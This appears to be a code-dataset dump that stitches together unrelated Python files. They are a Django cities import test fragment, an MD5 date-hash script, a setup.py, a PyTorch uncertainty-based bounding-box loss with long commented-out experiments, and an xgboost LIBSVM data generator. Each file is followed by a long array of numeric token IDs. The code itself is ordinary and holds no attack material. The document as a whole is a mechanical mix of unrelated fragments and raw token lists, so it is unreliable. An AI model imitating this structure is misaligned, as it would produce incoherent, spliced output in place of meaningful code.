timezone.""" fixture_dir = FixtureDir('import') self.import_data( fixture_dir, 'angouleme_country', 'angouleme_region', 'angouleme_subregion', 'angouleme_city_wtz', 'angouleme_translations' ) Fixture(fixture_dir.get_file_path('angouleme_wtz.json')).assertNoDiff() from ..loading import get_cities_model city_model = get_cities_model('City') cities = city_model.objects.all() for city in cities: print(city.get_timezone_info().zone)
[ 1, 515, 4770, 29888, 9130, 1649, 1053, 29104, 29918, 20889, 1338, 13, 13, 5215, 13149, 13, 5215, 2897, 13, 13, 3166, 4833, 12765, 29889, 7241, 15546, 1053, 383, 29875, 15546, 13, 3166, 869, 3188, 1053, 4321, 17518, 5160, 29892, 383, 29875, 15546, 9170, 13, 3166, 6317, 11027, 1053, 360, 8254, 29918, 9464, 13, 13, 13, 1990, 4321, 17518, 29898, 3057, 17518, 5160, 1125, 13, 1678, 9995, 5896, 1243, 1213, 15945, 13, 13, 1678, 822, 1243, 29918, 14369, 29918, 12690, 29898, 1311, 1125, 13, 4706, 9995, 5896, 2323, 4272, 1213, 15945, 13, 4706, 5713, 15546, 29918, 3972, 353, 383, 29875, 15546, 9170, 877, 5215, 1495, 13, 4706, 1583, 29889, 5215, 29918, 1272, 29898, 13, 9651, 5713, 15546, 29918, 3972, 29892, 13, 9651, 525, 574, 283, 280, 1004, 29918, 13509, 742, 13, 9651, 525, 574, 283, 280, 1004, 29918, 12803, 742, 13, 9651, 525, 574, 283, 280, 1004, 29918, 1491, 12803, 742, 13, 9651, 525, 574, 283, 280, 1004, 29918, 12690, 742, 13, 9651, 525, 574, 283, 280, 1004, 29918, 3286, 29880, 800, 29915, 13, 4706, 1723, 13, 4706, 383, 29875, 15546, 29898, 7241, 15546, 29918, 3972, 29889, 657, 29918, 1445, 29918, 2084, 877, 574, 283, 280, 1004, 29889, 3126, 1495, 467, 9294, 3782, 26023, 580, 13, 13, 1678, 822, 1243, 29918, 14369, 29918, 12690, 29918, 7554, 29898, 1311, 1125, 13, 4706, 9995, 5896, 2323, 4272, 1213, 15945, 13, 4706, 934, 1761, 353, 13149, 29889, 23705, 29898, 359, 29889, 2084, 29889, 7122, 29898, 14573, 29918, 9464, 29892, 376, 574, 283, 280, 1004, 29918, 10521, 3945, 5783, 13, 4706, 363, 285, 297, 934, 1761, 29901, 13, 9651, 2897, 29889, 5992, 29898, 29888, 29897, 13, 13, 4706, 5713, 15546, 29918, 3972, 353, 383, 29875, 15546, 9170, 877, 5215, 29918, 7554, 1495, 13, 4706, 1583, 29889, 5215, 29918, 1272, 29898, 13, 9651, 5713, 15546, 29918, 3972, 29892, 13, 9651, 525, 574, 283, 280, 1004, 29918, 13509, 742, 13, 9651, 525, 574, 283, 280, 1004, 29918, 12803, 742, 13, 9651, 525, 574, 283, 280, 1004, 29918, 1491, 12803, 742, 13, 9651, 525, 574, 283, 280, 1004, 29918, 12690, 742, 13, 9651, 525, 574, 283, 280, 1004, 29918, 3286, 29880, 800, 742, 13, 9651, 934, 29918, 1853, 543, 7554, 29908, 13, 4706, 1723, 13, 4706, 383, 29875, 15546, 29898, 18800, 15546, 9170, 877, 5215, 2824, 657, 29918, 1445, 29918, 2084, 877, 574, 283, 280, 1004, 29889, 3126, 1495, 467, 9294, 3782, 26023, 580, 13, 13, 1678, 822, 1243, 29918, 12690, 29918, 15866, 549, 29918, 2230, 8028, 29898, 1311, 1125, 13, 4706, 9995, 5896, 2323, 4272, 411, 2743, 29431, 1213, 15945, 13, 4706, 5713, 15546, 29918, 3972, 353, 383, 29875, 15546, 9170, 877, 5215, 1495, 13, 4706, 1583, 29889, 5215, 29918, 1272, 29898, 13, 9651, 5713, 15546, 29918, 3972, 29892, 13, 9651, 525, 574, 283, 280, 1004, 29918, 13509, 742, 13, 9651, 525, 574, 283, 280, 1004, 29918, 12803, 742, 13, 9651, 525, 574, 283, 280, 1004, 29918, 1491, 12803, 742, 13, 9651, 525, 574, 283, 280, 1004, 29918, 12690, 29918, 14554, 29920, 742, 13, 9651, 525, 574, 283, 280, 1004, 29918, 3286, 29880, 800, 29915, 13, 4706, 1723, 13, 4706, 383, 29875, 15546, 29898, 7241, 15546, 29918, 3972, 29889, 657, 29918, 1445, 29918, 2084, 877, 574, 283, 280, 1004, 29918, 14554, 29920, 29889, 3126, 1495, 467, 9294, 3782, 26023, 580, 13, 13, 4706, 515, 6317, 13234, 1053, 679, 29918, 29883, 1907, 29918, 4299, 13, 4706, 4272, 29918, 4299, 353, 679, 29918, 29883, 1907, 29918, 4299, 877, 16885, 1495, 13, 4706, 14368, 353, 4272, 29918, 4299, 29889, 12650, 29889, 497, 580, 13, 4706, 363, 4272, 297, 14368, 29901, 13, 9651, 1596, 29898, 12690, 29889, 657, 29918, 2230, 8028, 29918, 3888, 2141, 8028, 29897, 13, 13, 2 ]
api/go/tenki/hash/hash.py
Goryudyuma/isucon5-final
0
1616125
# -*- coding: utf-8 -*- """ $ python3 hash.py --date="Tue, 27 Oct 2015 08:46:40 JST" 51498849 """ import argparse import hashlib import struct def toint(date, secret): s = date + " " + secret m = hashlib.md5(s.encode("utf-8")) d = m.digest() n = struct.unpack(">I", d[0:4])[0] return n parser = argparse.ArgumentParser() parser.add_argument('--date', type=str) parser.add_argument('--secret', type=str, default="happyhalloween") args = parser.parse_args() n = toint(args.date, args.secret) print("%s ==> %d" % (args.date, n))
[ 1, 396, 448, 29930, 29899, 14137, 29901, 23616, 29899, 29947, 448, 29930, 29899, 13, 13, 15945, 29908, 13, 29938, 3017, 29941, 6608, 29889, 2272, 1192, 1256, 543, 29911, 434, 29892, 29871, 29906, 29955, 4756, 29871, 29906, 29900, 29896, 29945, 29871, 29900, 29947, 29901, 29946, 29953, 29901, 29946, 29900, 435, 1254, 29908, 13, 29945, 29896, 29946, 29929, 29947, 29947, 29946, 29929, 13, 15945, 29908, 13, 13, 5215, 1852, 5510, 13, 5215, 6608, 1982, 13, 5215, 2281, 13, 13, 1753, 304, 524, 29898, 1256, 29892, 7035, 1125, 13, 12, 29879, 353, 2635, 718, 376, 376, 718, 7035, 13, 12, 29885, 353, 6608, 1982, 29889, 3487, 29945, 29898, 29879, 29889, 12508, 703, 9420, 29899, 29947, 5783, 13, 12, 29881, 353, 286, 29889, 7501, 342, 580, 13, 12, 29876, 353, 2281, 29889, 348, 4058, 703, 29958, 29902, 613, 270, 29961, 29900, 29901, 29946, 2314, 29961, 29900, 29962, 13, 12, 2457, 302, 13, 13, 16680, 353, 1852, 5510, 29889, 15730, 11726, 580, 13, 16680, 29889, 1202, 29918, 23516, 877, 489, 1256, 742, 1134, 29922, 710, 29897, 13, 16680, 29889, 1202, 29918, 23516, 877, 489, 19024, 742, 1134, 29922, 710, 29892, 2322, 543, 29882, 14862, 27090, 4657, 264, 1159, 13, 5085, 353, 13812, 29889, 5510, 29918, 5085, 580, 13, 13, 29876, 353, 304, 524, 29898, 5085, 29889, 1256, 29892, 6389, 29889, 19024, 29897, 13, 2158, 11702, 29879, 25230, 1273, 29881, 29908, 1273, 313, 5085, 29889, 1256, 29892, 302, 876, 13, 2 ]
setup.py
noelnamai/machine-learning
0
106306
<reponame>noelnamai/machine-learning #!/usr/bin/env python3 from setuptools import setup setup( name = "sebaba", version = "0.0.1", description = "A bare metal implementation of Machine Learning algorithms", author = "<NAME>", author_email = "<EMAIL>", url = "http://github.com/noelnamai/sebaba/", license = "MIT", package = ["sebaba", "sebaba.machinelearning"], classifiers=[ "Programming Language :: Python :: 3.6", "Programming Language :: Python :: 3.7", "License :: OSI Approved :: MIT License", "Operating System :: OS Independent", ], python_requires = ">=3.6", )
[ 1, 529, 276, 1112, 420, 29958, 1217, 3478, 314, 1794, 29914, 23523, 29899, 21891, 13, 29937, 14708, 4855, 29914, 2109, 29914, 6272, 3017, 29941, 13, 13, 3166, 731, 21245, 8789, 1053, 6230, 13, 13, 14669, 29898, 13, 1678, 1024, 353, 376, 344, 29890, 5363, 613, 29871, 13, 1678, 1873, 353, 376, 29900, 29889, 29900, 29889, 29896, 613, 13, 1678, 6139, 353, 376, 29909, 16079, 11915, 5314, 310, 6189, 29257, 14009, 613, 13, 1678, 4148, 353, 9872, 5813, 28341, 13, 1678, 4148, 29918, 5269, 353, 9872, 26862, 6227, 28341, 13, 1678, 3142, 353, 376, 1124, 597, 3292, 29889, 510, 29914, 1217, 3478, 314, 1794, 29914, 344, 29890, 5363, 29914, 613, 13, 1678, 19405, 353, 376, 26349, 613, 13, 1678, 3577, 353, 6796, 344, 29890, 5363, 613, 376, 344, 29890, 5363, 29889, 23523, 21891, 12436, 13, 1678, 770, 14903, 11759, 13, 4706, 376, 9283, 4056, 17088, 4761, 5132, 4761, 29871, 29941, 29889, 29953, 613, 13, 4706, 376, 9283, 4056, 17088, 4761, 5132, 4761, 29871, 29941, 29889, 29955, 613, 13, 4706, 376, 29931, 293, 1947, 4761, 438, 5425, 28268, 1490, 4761, 341, 1806, 19245, 613, 13, 4706, 376, 7094, 1218, 2184, 4761, 6570, 25266, 613, 13, 1678, 21251, 13, 1678, 3017, 29918, 276, 339, 2658, 353, 376, 18572, 29941, 29889, 29953, 613, 13, 29897, 2 ]
mmdet/models/losses/uncertainty_loss.py
sanghun3819/LQM
4
94884
import torch.nn as nn import torch from ..builder import LOSSES import numpy as np from .utils import weighted_loss import torch.nn.functional as F from mmdet.core import bbox_overlaps def _gaussian_dist_pdf(val, mean, var): return torch.exp(- (val - mean) ** 2.0 / var / 2.0) / torch.sqrt(2.0 * np.pi * var) # @weighted_loss # def uncertainty_loss(pos_uncertainty_pred, pos_bbox_pred, pos_bbox_target, decoded_pred_bbox, decoded_target_bbox, eps=1e-6): def uncertainty_loss(pos_uncertainty_pred, pos_bbox_pred, pos_bbox_target, centerness_targets, ious, eps=1e-9): """Forward function of loss. Args: pred (torch.Tensor): The prediction.(standard deviation) pred_bbox (torch.Tensor) : Predicted bbox on reg branch target_bbox (torch.Tensor): The learning target of the prediction.(target bbox) """ # torch.pi = torch.acos(torch.zeros(1)).float() * 2 device = torch.device("cuda") # torch.pi = torch.pi.to(device) # # ious = bbox_overlaps(decoded_pred_bbox.clone().detach(), decoded_target_bbox, is_aligned=True).clamp(min=eps) # loss_a = (((pos_bbox_target - pos_bbox_pred.clone().detach()) ** 2) / (2 * (pos_uncertainty_pred ** 2 + 1e-6))) + (pos_uncertainty_pred ** 2).log()/2 # # loss_a = (((pos_bbox_target-pos_bbox_pred) ** 2) / (2 * (pos_uncertainty_pred ** 2 + 1e-6))) + (pos_uncertainty_pred ** 2).log() / 2 # # print(pos_uncertainty_pred.mean(dim=0)) # # print('loss_a', loss_a) # loss_b = torch.sum(loss_a, dim = 1) # pos point num # # print('loss_b', loss_a) # loss_c = loss_b + (2 * (2 * torch.pi).log()) # # print('loss_c', loss_a) # ret = ious * loss_c # # print('ret', ret) # loss = ret.mean() # # print('mean', loss) # loss_a = (pos_uncertainty_pred * -1).exp()/2 # loss_b = (pos_bbox_target - pos_bbox_pred) ** 2 # loss_c = (loss_a * loss_b) + pos_uncertainty_pred/2 #loss_d = ious * torch.sum(loss_c, dim = 1) # smooth_loss = torch.nn.SmoothL1Loss(reduction='none') # # loss = torch.exp(-pos_uncertainty_pred) * smooth_loss(pos_bbox_pred, pos_bbox_target) + 0.5 * pos_uncertainty_pred # loss = torch.sum(loss, dim = 1) # # loss = ious * loss # loss = loss.mean() # # alpha = (pos_uncertainty_pred ** 2).log() # # alpha = pos_uncertainty_pred # # ## normalize bbox target # nor = np.ndarray(4,) # nor[0] = 1333 # left # nor[1] = 800 # top # nor[2] = 1333 #right # nor[3] = 800 #bottom # nor = torch.from_numpy(nor) # nor = nor.type(torch.float) # nor = nor.to(device) # pos_bbox_target= pos_bbox_target / nor # smooth_loss = torch.nn.SmoothL1Loss(reduction='none') # loss = torch.exp(-pos_uncertainty_pred) * smooth_loss(pos_bbox_pred, pos_bbox_target) + 0.5 * pos_uncertainty_pred # loss = torch.sum(loss, dim = 1) # loss = loss * centerness_targets # # loss = ious * loss # loss = loss.mean() loss = - torch.log(_gaussian_dist_pdf(pos_bbox_pred, pos_bbox_target, pos_uncertainty_pred) + 1e-9)/4 loss = torch.sum(loss, dim = 1) # loss = loss * centerness_targets loss = loss * ious return loss.mean() # return loss @LOSSES.register_module() class UncertaintyLoss(nn.Module): """UncertaintyLoss. Args: reduction (str, optional): The method that reduces the loss to a scalar. Options are "none", "mean" and "sum". loss_weight (float, optional): The weight of the loss. Defaults to 0.05 """ def __init__(self, reduction='mean', loss_weight=0.25): super().__init__() self.reduction = reduction self.loss_weight = loss_weight # def forward(self, pos_pred, pos_pred_bbox, pos_target_bbox, decoded_pred_bbox, decoded_target_bbox, **kwargs): def forward(self, pos_uncertainty_pred, pos_pred_bbox, pos_target_bbox, centerness_targets, ious, **kwargs): """Forward function of loss. Args: pos_pred (torch.Tensor): The prediction(standard deviation). pos_pred_bbox (torch.Tensor): predicted bbox (l, r, t, b) pos_bbox_target (torch.Tensor): positive bbox target (l, r, t, b) decoded_pred_bbox(torch.Tensor): decoded predicted bbox (l, r, t, b) to (xlt, ylt, xrb, yrb) decoded_target_bbox(torch.Tensor): decoded bbox target (l, r, t, b) to (xlt, ylt, xrb, yrb) weight (torch.Tensor, optional): Weight of the loss for each prediction. Defaults to None. avg_factor (int, optional): Average factor that is used to average the loss. Defaults to None. Returns: torch.Tensor: The calculated loss """ loss = self.loss_weight * uncertainty_loss( pos_uncertainty_pred, pos_pred_bbox, pos_target_bbox, centerness_targets,ious) #decoded_pred_bbox, #decoded_target_bbox, #**kwargs) # print('0.05 x loss', loss) return loss
[ 1, 1053, 4842, 305, 29889, 15755, 408, 302, 29876, 13, 5215, 4842, 305, 13, 3166, 6317, 16409, 1053, 365, 3267, 1660, 29903, 13, 5215, 12655, 408, 7442, 13, 3166, 869, 13239, 1053, 7688, 287, 29918, 6758, 13, 5215, 4842, 305, 29889, 15755, 29889, 2220, 284, 408, 383, 13, 3166, 286, 3487, 300, 29889, 3221, 1053, 289, 1884, 29918, 957, 14128, 13, 13, 13, 1753, 903, 29887, 17019, 29918, 5721, 29918, 5140, 29898, 791, 29892, 2099, 29892, 722, 1125, 13, 1678, 736, 4842, 305, 29889, 4548, 6278, 313, 791, 448, 2099, 29897, 3579, 29871, 29906, 29889, 29900, 847, 722, 847, 29871, 29906, 29889, 29900, 29897, 847, 4842, 305, 29889, 3676, 29898, 29906, 29889, 29900, 334, 7442, 29889, 1631, 334, 722, 29897, 13, 29937, 732, 7915, 287, 29918, 6758, 13, 29937, 822, 25812, 29918, 6758, 29898, 1066, 29918, 4661, 13946, 1017, 29918, 11965, 29892, 926, 29918, 29890, 1884, 29918, 11965, 29892, 926, 29918, 29890, 1884, 29918, 5182, 29892, 1602, 6797, 29918, 11965, 29918, 29890, 1884, 29892, 1602, 6797, 29918, 5182, 29918, 29890, 1884, 29892, 321, 567, 29922, 29896, 29872, 29899, 29953, 1125, 13, 1753, 25812, 29918, 6758, 29898, 1066, 29918, 4661, 13946, 1017, 29918, 11965, 29892, 926, 29918, 29890, 1884, 29918, 11965, 29892, 926, 29918, 29890, 1884, 29918, 5182, 29892, 1644, 824, 404, 29918, 5182, 29879, 29892, 474, 681, 29892, 321, 567, 29922, 29896, 29872, 29899, 29929, 1125, 13, 1678, 9995, 2831, 1328, 740, 310, 6410, 29889, 13, 13, 1678, 826, 3174, 29901, 13, 4706, 4450, 313, 7345, 305, 29889, 29911, 6073, 1125, 450, 18988, 14030, 15770, 29522, 29897, 13, 4706, 4450, 29918, 29890, 1884, 313, 7345, 305, 29889, 29911, 6073, 29897, 584, 21099, 18186, 289, 1884, 373, 1072, 5443, 13, 4706, 3646, 29918, 29890, 1884, 313, 7345, 305, 29889, 29911, 6073, 1125, 450, 6509, 3646, 310, 278, 18988, 14030, 5182, 289, 1884, 29897, 13, 1678, 9995, 13, 13, 1678, 396, 4842, 305, 29889, 1631, 353, 4842, 305, 29889, 562, 359, 29898, 7345, 305, 29889, 3298, 359, 29898, 29896, 8106, 7411, 580, 334, 29871, 29906, 13, 1678, 4742, 353, 4842, 305, 29889, 10141, 703, 29883, 6191, 1159, 13, 1678, 396, 4842, 305, 29889, 1631, 353, 4842, 305, 29889, 1631, 29889, 517, 29898, 10141, 29897, 13, 1678, 396, 13, 1678, 396, 474, 681, 353, 289, 1884, 29918, 957, 14128, 29898, 7099, 6797, 29918, 11965, 29918, 29890, 1884, 29889, 16513, 2141, 4801, 496, 3285, 1602, 6797, 29918, 5182, 29918, 29890, 1884, 29892, 338, 29918, 13671, 29922, 5574, 467, 695, 1160, 29898, 1195, 29922, 8961, 29897, 13, 1678, 396, 6410, 29918, 29874, 353, 313, 3552, 1066, 29918, 29890, 1884, 29918, 5182, 448, 926, 29918, 29890, 1884, 29918, 11965, 29889, 16513, 2141, 4801, 496, 3101, 3579, 29871, 29906, 29897, 847, 313, 29906, 334, 313, 1066, 29918, 4661, 13946, 1017, 29918, 11965, 3579, 29871, 29906, 718, 29871, 29896, 29872, 29899, 29953, 4961, 718, 29871, 313, 1066, 29918, 4661, 13946, 1017, 29918, 11965, 3579, 29871, 29906, 467, 1188, 580, 29914, 29906, 13, 1678, 396, 396, 6410, 29918, 29874, 353, 313, 3552, 1066, 29918, 29890, 1884, 29918, 5182, 29899, 1066, 29918, 29890, 1884, 29918, 11965, 29897, 3579, 29871, 29906, 29897, 847, 313, 29906, 334, 313, 1066, 29918, 4661, 13946, 1017, 29918, 11965, 3579, 29871, 29906, 718, 29871, 29896, 29872, 29899, 29953, 4961, 718, 313, 1066, 29918, 4661, 13946, 1017, 29918, 11965, 3579, 29871, 29906, 467, 1188, 580, 847, 29871, 29906, 13, 1678, 396, 396, 1596, 29898, 1066, 29918, 4661, 13946, 1017, 29918, 11965, 29889, 12676, 29898, 6229, 29922, 29900, 876, 13, 1678, 396, 396, 1596, 877, 6758, 29918, 29874, 742, 6410, 29918, 29874, 29897, 13, 1678, 396, 6410, 29918, 29890, 353, 4842, 305, 29889, 2083, 29898, 6758, 29918, 29874, 29892, 3964, 353, 29871, 29896, 29897, 396, 926, 1298, 954, 13, 1678, 396, 396, 1596, 877, 6758, 29918, 29890, 742, 6410, 29918, 29874, 29897, 13, 1678, 396, 6410, 29918, 29883, 353, 6410, 29918, 29890, 718, 313, 29906, 334, 313, 29906, 334, 4842, 305, 29889, 1631, 467, 1188, 3101, 13, 1678, 396, 396, 1596, 877, 6758, 29918, 29883, 742, 6410, 29918, 29874, 29897, 13, 1678, 396, 3240, 353, 474, 681, 334, 6410, 29918, 29883, 13, 1678, 396, 396, 1596, 877, 2267, 742, 3240, 29897, 13, 1678, 396, 6410, 353, 3240, 29889, 12676, 580, 13, 1678, 396, 396, 1596, 877, 12676, 742, 6410, 29897, 13, 13, 1678, 396, 6410, 29918, 29874, 353, 313, 1066, 29918, 4661, 13946, 1017, 29918, 11965, 334, 448, 29896, 467, 4548, 580, 29914, 29906, 13, 1678, 396, 6410, 29918, 29890, 353, 313, 1066, 29918, 29890, 1884, 29918, 5182, 448, 926, 29918, 29890, 1884, 29918, 11965, 29897, 3579, 29871, 29906, 13, 1678, 396, 6410, 29918, 29883, 353, 313, 6758, 29918, 29874, 334, 6410, 29918, 29890, 29897, 718, 926, 29918, 4661, 13946, 1017, 29918, 11965, 29914, 29906, 13, 1678, 396, 6758, 29918, 29881, 353, 474, 681, 334, 4842, 305, 29889, 2083, 29898, 6758, 29918, 29883, 29892, 3964, 353, 29871, 29896, 29897, 13, 13, 1678, 396, 10597, 29918, 6758, 353, 4842, 305, 29889, 15755, 29889, 29903, 4346, 720, 29931, 29896, 29931, 2209, 29898, 9313, 428, 2433, 9290, 1495, 13, 1678, 396, 13, 1678, 396, 6410, 353, 4842, 305, 29889, 4548, 6278, 1066, 29918, 4661, 13946, 1017, 29918, 11965, 29897, 334, 10597, 29918, 6758, 29898, 1066, 29918, 29890, 1884, 29918, 11965, 29892, 926, 29918, 29890, 1884, 29918, 5182, 29897, 718, 29871, 29900, 29889, 29945, 334, 926, 29918, 4661, 13946, 1017, 29918, 11965, 13, 1678, 396, 6410, 353, 4842, 305, 29889, 2083, 29898, 6758, 29892, 3964, 353, 29871, 29896, 29897, 13, 1678, 396, 396, 6410, 353, 474, 681, 334, 6410, 13, 1678, 396, 6410, 353, 6410, 29889, 12676, 580, 13, 13, 13, 1678, 396, 396, 15595, 353, 313, 1066, 29918, 4661, 13946, 1017, 29918, 11965, 3579, 29871, 29906, 467, 1188, 580, 13, 1678, 396, 396, 15595, 353, 926, 29918, 4661, 13946, 1017, 29918, 11965, 13, 1678, 396, 13, 1678, 396, 444, 4226, 675, 289, 1884, 3646, 13, 1678, 396, 3643, 353, 7442, 29889, 299, 2378, 29898, 29946, 29892, 29897, 13, 1678, 396, 3643, 29961, 29900, 29962, 353, 29871, 29896, 29941, 29941, 29941, 396, 2175, 13, 1678, 396, 3643, 29961, 29896, 29962, 353, 29871, 29947, 29900, 29900, 396, 2246, 13, 1678, 396, 3643, 29961, 29906, 29962, 353, 29871, 29896, 29941, 29941, 29941, 396, 1266, 13, 1678, 396, 3643, 29961, 29941, 29962, 353, 29871, 29947, 29900, 29900, 396, 8968, 13, 1678, 396, 3643, 353, 4842, 305, 29889, 3166, 29918, 23749, 29898, 15459, 29897, 13, 1678, 396, 3643, 353, 3643, 29889, 1853, 29898, 7345, 305, 29889, 7411, 29897, 13, 1678, 396, 3643, 353, 3643, 29889, 517, 29898, 10141, 29897, 13, 1678, 396, 926, 29918, 29890, 1884, 29918, 5182, 29922, 926, 29918, 29890, 1884, 29918, 5182, 847, 3643, 13, 13, 1678, 396, 10597, 29918, 6758, 353, 4842, 305, 29889, 15755, 29889, 29903, 4346, 720, 29931, 29896, 29931, 2209, 29898, 9313, 428, 2433, 9290, 1495, 13, 1678, 396, 6410, 353, 4842, 305, 29889, 4548, 6278, 1066, 29918, 4661, 13946, 1017, 29918, 11965, 29897, 334, 10597, 29918, 6758, 29898, 1066, 29918, 29890, 1884, 29918, 11965, 29892, 926, 29918, 29890, 1884, 29918, 5182, 29897, 718, 29871, 29900, 29889, 29945, 334, 926, 29918, 4661, 13946, 1017, 29918, 11965, 13, 1678, 396, 6410, 353, 4842, 305, 29889, 2083, 29898, 6758, 29892, 3964, 353, 29871, 29896, 29897, 13, 1678, 396, 6410, 353, 6410, 334, 1644, 824, 404, 29918, 5182, 29879, 13, 1678, 396, 396, 6410, 353, 474, 681, 334, 6410, 13, 1678, 396, 6410, 353, 6410, 29889, 12676, 580, 13, 13, 1678, 6410, 353, 448, 4842, 305, 29889, 1188, 7373, 29887, 17019, 29918, 5721, 29918, 5140, 29898, 1066, 29918, 29890, 1884, 29918, 11965, 29892, 926, 29918, 29890, 1884, 29918, 5182, 29892, 926, 29918, 4661, 13946, 1017, 29918, 11965, 29897, 718, 29871, 29896, 29872, 29899, 29929, 6802, 29946, 13, 1678, 6410, 353, 4842, 305, 29889, 2083, 29898, 6758, 29892, 3964, 353, 29871, 29896, 29897, 13, 1678, 396, 6410, 353, 6410, 334, 1644, 824, 404, 29918, 5182, 29879, 13, 1678, 6410, 353, 6410, 334, 474, 681, 13, 1678, 736, 6410, 29889, 12676, 580, 13, 1678, 396, 736, 6410, 13, 13, 13, 29992, 29931, 3267, 1660, 29903, 29889, 9573, 29918, 5453, 580, 13, 1990, 853, 14082, 1017, 29931, 2209, 29898, 15755, 29889, 7355, 1125, 13, 1678, 9995, 2525, 14082, 1017, 29931, 2209, 29889, 13, 13, 1678, 826, 3174, 29901, 13, 4706, 20376, 313, 710, 29892, 13136, 1125, 450, 1158, 393, 26830, 278, 6410, 304, 263, 13, 9651, 17336, 29889, 25186, 526, 376, 9290, 613, 376, 12676, 29908, 322, 376, 2083, 1642, 13, 4706, 6410, 29918, 7915, 313, 7411, 29892, 13136, 1125, 450, 7688, 310, 278, 6410, 29889, 13109, 29879, 304, 29871, 29900, 29889, 29900, 29945, 13, 1678, 9995, 13, 13, 1678, 822, 4770, 2344, 12035, 1311, 29892, 20376, 2433, 12676, 742, 6410, 29918, 7915, 29922, 29900, 29889, 29906, 29945, 1125, 13, 4706, 2428, 2141, 1649, 2344, 1649, 580, 13, 4706, 1583, 29889, 9313, 428, 353, 20376, 13, 4706, 1583, 29889, 6758, 29918, 7915, 353, 6410, 29918, 7915, 13, 13, 1678, 396, 822, 6375, 29898, 1311, 29892, 926, 29918, 11965, 29892, 926, 29918, 11965, 29918, 29890, 1884, 29892, 926, 29918, 5182, 29918, 29890, 1884, 29892, 1602, 6797, 29918, 11965, 29918, 29890, 1884, 29892, 1602, 6797, 29918, 5182, 29918, 29890, 1884, 29892, 3579, 19290, 1125, 13, 1678, 822, 6375, 29898, 1311, 29892, 926, 29918, 4661, 13946, 1017, 29918, 11965, 29892, 926, 29918, 11965, 29918, 29890, 1884, 29892, 926, 29918, 5182, 29918, 29890, 1884, 29892, 1644, 824, 404, 29918, 5182, 29879, 29892, 474, 681, 29892, 3579, 19290, 1125, 13, 4706, 9995, 2831, 1328, 740, 310, 6410, 29889, 13, 13, 4706, 826, 3174, 29901, 13, 9651, 926, 29918, 11965, 313, 7345, 305, 29889, 29911, 6073, 1125, 450, 18988, 29898, 15770, 29522, 467, 13, 9651, 926, 29918, 11965, 29918, 29890, 1884, 313, 7345, 305, 29889, 29911, 6073, 1125, 25383, 289, 1884, 313, 29880, 29892, 364, 29892, 260, 29892, 289, 29897, 13, 9651, 926, 29918, 29890, 1884, 29918, 5182, 313, 7345, 305, 29889, 29911, 6073, 1125, 6374, 289, 1884, 3646, 313, 29880, 29892, 364, 29892, 260, 29892, 289, 29897, 13, 9651, 1602, 6797, 29918, 11965, 29918, 29890, 1884, 29898, 7345, 305, 29889, 29911, 6073, 1125, 1602, 6797, 25383, 289, 1884, 313, 29880, 29892, 364, 29892, 260, 29892, 289, 29897, 304, 313, 29916, 1896, 29892, 343, 1896, 29892, 921, 6050, 29892, 343, 6050, 29897, 13, 9651, 1602, 6797, 29918, 5182, 29918, 29890, 1884, 29898, 7345, 305, 29889, 29911, 6073, 1125, 1602, 6797, 289, 1884, 3646, 313, 29880, 29892, 364, 29892, 260, 29892, 289, 29897, 304, 313, 29916, 1896, 29892, 343, 1896, 29892, 921, 6050, 29892, 343, 6050, 29897, 13, 9651, 7688, 313, 7345, 305, 29889, 29911, 6073, 29892, 13136, 1125, 1334, 523, 310, 278, 6410, 363, 1269, 13, 18884, 18988, 29889, 13109, 29879, 304, 6213, 29889, 13, 9651, 1029, 29887, 29918, 19790, 313, 524, 29892, 13136, 1125, 319, 19698, 7329, 393, 338, 1304, 304, 6588, 13, 18884, 278, 6410, 29889, 13109, 29879, 304, 6213, 29889, 13, 13, 4706, 16969, 29901, 13, 9651, 4842, 305, 29889, 29911, 6073, 29901, 450, 12833, 6410, 13, 4706, 9995, 13, 13, 4706, 6410, 353, 1583, 29889, 6758, 29918, 7915, 334, 25812, 29918, 6758, 29898, 13, 9651, 926, 29918, 4661, 13946, 1017, 29918, 11965, 29892, 13, 9651, 926, 29918, 11965, 29918, 29890, 1884, 29892, 13, 9651, 926, 29918, 5182, 29918, 29890, 1884, 29892, 13, 9651, 1644, 824, 404, 29918, 5182, 29879, 29892, 2738, 29897, 13, 9651, 396, 7099, 6797, 29918, 11965, 29918, 29890, 1884, 29892, 13, 9651, 396, 7099, 6797, 29918, 5182, 29918, 29890, 1884, 29892, 13, 9651, 396, 1068, 19290, 29897, 13, 13, 4706, 396, 1596, 877, 29900, 29889, 29900, 29945, 921, 6410, 742, 6410, 29897, 13, 4706, 736, 6410, 2 ]
tests/benchmark/generate_libsvm.py
bclehmann/xgboost
23,866
66655
"""Generate synthetic data in LIBSVM format.""" import argparse import io import time import numpy as np from sklearn.datasets import make_classification from sklearn.model_selection import train_test_split RNG = np.random.RandomState(2019) def generate_data(args): """Generates the data.""" print("Generating dataset: {} rows * {} columns".format(args.rows, args.columns)) print("Sparsity {}".format(args.sparsity)) print("{}/{} train/test split".format(1.0 - args.test_size, args.test_size)) tmp = time.time() n_informative = args.columns * 7 // 10 n_redundant = args.columns // 10 n_repeated = args.columns // 10 print("n_informative: {}, n_redundant: {}, n_repeated: {}".format(n_informative, n_redundant, n_repeated)) x, y = make_classification(n_samples=args.rows, n_features=args.columns, n_informative=n_informative, n_redundant=n_redundant, n_repeated=n_repeated, shuffle=False, random_state=RNG) print("Generate Time: {} seconds".format(time.time() - tmp)) tmp = time.time() x_train, x_test, y_train, y_test = train_test_split(x, y, test_size=args.test_size, random_state=RNG, shuffle=False) print("Train/Test Split Time: {} seconds".format(time.time() - tmp)) tmp = time.time() write_file('train.libsvm', x_train, y_train, args.sparsity) print("Write Train Time: {} seconds".format(time.time() - tmp)) tmp = time.time() write_file('test.libsvm', x_test, y_test, args.sparsity) print("Write Test Time: {} seconds".format(time.time() - tmp)) def write_file(filename, x_data, y_data, sparsity): with open(filename, 'w') as f: for x, y in zip(x_data, y_data): write_line(f, x, y, sparsity) def write_line(f, x, y, sparsity): with io.StringIO() as line: line.write(str(y)) for i, col in enumerate(x): if 0.0 < sparsity < 1.0: if RNG.uniform(0, 1) > sparsity: write_feature(line, i, col) else: write_feature(line, i, col) line.write('\n') f.write(line.getvalue()) def write_feature(line, index, feature): line.write(' ') line.write(str(index)) line.write(':') line.write(str(feature)) def main(): """The main function. Defines and parses command line arguments and calls the generator. """ parser = argparse.ArgumentParser() parser.add_argument('--rows', type=int, default=1000000) parser.add_argument('--columns', type=int, default=50) parser.add_argument('--sparsity', type=float, default=0.0) parser.add_argument('--test_size', type=float, default=0.01) args = parser.parse_args() generate_data(args) if __name__ == '__main__': main()
